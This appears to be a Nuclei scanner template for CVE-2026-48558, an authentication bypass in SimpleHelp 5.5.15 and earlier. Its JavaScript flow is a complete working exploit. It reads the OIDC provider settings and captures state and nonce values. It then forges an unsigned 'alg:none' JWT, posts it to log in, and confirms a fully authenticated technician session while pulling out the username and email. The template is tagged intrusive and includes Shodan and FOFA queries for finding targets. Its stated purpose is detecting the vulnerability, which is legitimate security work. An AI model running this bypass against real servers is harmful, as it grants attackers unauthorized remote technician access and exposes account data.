id: CVE-2026-48558 info: name: SimpleHelp <=5.5.15 - OIDC JWT Authentication Bypass author: 0x_Akoko,pdteam severity: critical description: | SimpleHelp <= 5.5.15 and 6.0 pre-release contain an authentication bypass caused by lack of cryptographic signature verification in OIDC tokens, letting remote unauthenticated attackers gain technician sessions, exploit requires OIDC authentication configured. impact: | Remote attackers can bypass authentication and multi-factor authentication to gain full technician access. remediation: | Update to a version later than 5.5.15 or the final 6.0 release. reference: - https://horizon3.ai/attack-research/disclosures/cve-2026-48558-simplehelp-authentication-bypass-iocs/ - https://simple-help.com/security/simplehelp-security-update-2026-05 - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/simplehelp_oidc_auth_bypass_rce.rb - https://github.com/J4ck3LSyN-Gen2/CVE-2026-48558 - https://nvd.nist.gov/vuln/detail/CVE-2026-48558 - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-48558 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10.0 cve-id: CVE-2026-48558 cwe-id: CWE-347 epss-score: 0.05719 epss-percentile: 0.93013 metadata: verified: true max-request: 5 vendor: simple-help product: simplehelp shodan-query: html:"SimpleHelp" fofa-query: body="SimpleHelp" tags: cve,cve2026,simplehelp,auth-bypass,oidc,jwt,kev,vkev,intrusive,vuln flow: | (function () { if (!http(1)) { return; } var minor = parseInt(template["sh_minor"] || "99"); if (isNaN(minor) || minor > 15) { return; } http(2); var providers_raw = template["providers_raw"]; if (!providers_raw) { return; } var providers; try { providers = JSON.parse(providers_raw); } catch (e) { return; } if (!providers || !providers[0]) { return; } var provider = null; for (var i = 0; i < providers.length; i++) { if (providers[i]["type"] === "oidc" || providers[i]["type"] === "azure") { provider = providers[i]; break; } } if (!provider) { return; } var root = (template["http_1_host"] || "").replace(/\/+$/, ""); if (!root) { return; } provider["callback"] = root + "/webapps/technician/"; set("oidc_payload_enc", encodeURIComponent(JSON.stringify(provider))); http(3); var auth_url_str = template["auth_url_raw"] || ""; var auth_url; try { auth_url = JSON.parse(auth_url_str); } catch (e) { auth_url = auth_url_str.replace(/^"/, "").replace(/"$/, "").trim(); } if (!auth_url) { return; } var state_m = auth_url.match(/[?&]state=([^&\s"'<>]+)/); if (!state_m) { return; } var nonce_m = auth_url.match(/[?&]nonce=([^&\s"'<>]+)/); var nonce = nonce_m ? nonce_m[1] : ""; function b64url(s) { var CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; var bytes = []; for (var c = 0; c < s.length; c++) { bytes.push(s.charCodeAt(c) & 0xFF); } var out = ""; var j = 0; while (j < bytes.length) { var b0 = bytes[j++]; var b1 = (j < bytes.length) ? bytes[j++] : -1; var b2 = (j < bytes.length) ? bytes[j++] : -1; out += CHARS[b0 >> 2]; out += CHARS[((b0 & 3) << 4) | (b1 < 0 ? 0 : (b1 >> 4))]; if (b1 >= 0) { out += CHARS[((b1 & 15) << 2) | (b2 < 0 ? 0 : (b2 >> 6))]; } if (b2 >= 0) { out += CHARS[b2 & 63]; } } return out; } var now = Math.floor(new Date().getTime() / 1000); var jwt_header = {"alg":"none","typ":"JWT"}; var jwt_payload = { "sub": "probe-cve-2026-48558", "preferred_username": "probe-check", "name": "ProbeCheck", "email": "probe-check@probetest.invalid", "iat": now, "exp": now + 3600 }; if (nonce) { jwt_payload["nonce"] = nonce; } var forged_jwt = b64url(JSON.stringify(jwt_header)) + "." + b64url(JSON.stringify(jwt_payload)) + ".x"; set("oidc_post_body", "state=" + encodeURIComponent(state_m[1]) + "&id_token=" + encodeURIComponent(forged_jwt)); http(4); http(5); })(); http: - method: GET path: - "{{BaseURL}}/allversions" cookie-reuse: true matchers: - type: regex part: body regex: - "Visual Version:\\s+5\\.5\\.(\\d+)" internal: true extractors: - type: regex name: sh_minor part: body group: 1 regex: - "Visual Version:\\s+5\\.5\\.(\\d+)" internal: true - method: GET path: - "{{BaseURL}}/auth/v1/account/login_options" cookie-reuse: true matchers: - type: status status: - 200 internal: true extractors: - type: dsl name: providers_raw dsl: - "body" internal: true - raw: - | GET /auth/v1/account/oidc_get?payload={{oidc_payload_enc}} HTTP/1.1 Host: {{Hostname}} Accept: application/json, */* cookie-reuse: true matchers: - type: status status: - 200 internal: true extractors: - type: dsl name: auth_url_raw dsl: - "body" internal: true - raw: - | POST /oidc HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded {{oidc_post_body}} cookie-reuse: true redirects: false matchers: - type: dsl dsl: - "status_code == 200 || status_code == 302" internal: true - method: GET path: - "{{BaseURL}}/auth/v1/account/status" cookie-reuse: true matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "FULLY_AUTHENTICATED")' - 'contains(body, "\"code\":1") || contains(body, "\"code\": 1")' condition: and extractors: - type: dsl dsl: - 'username + " | " + email' - type: json part: body json: - ".user.username" name: username internal: true - type: json part: body json: - ".user.emailAddress" name: email # digest: 4a0a00473045022100ed0dbf825ed0fe9f871dbaa0ec2645d40bc02577511e0783707688b117a873bc02205217904a7609a1b65c5932a13cbd11c97fdfdbf1cb311f8d738d761f1a1eae6c:922c64590222798bb761d5b6d8e72950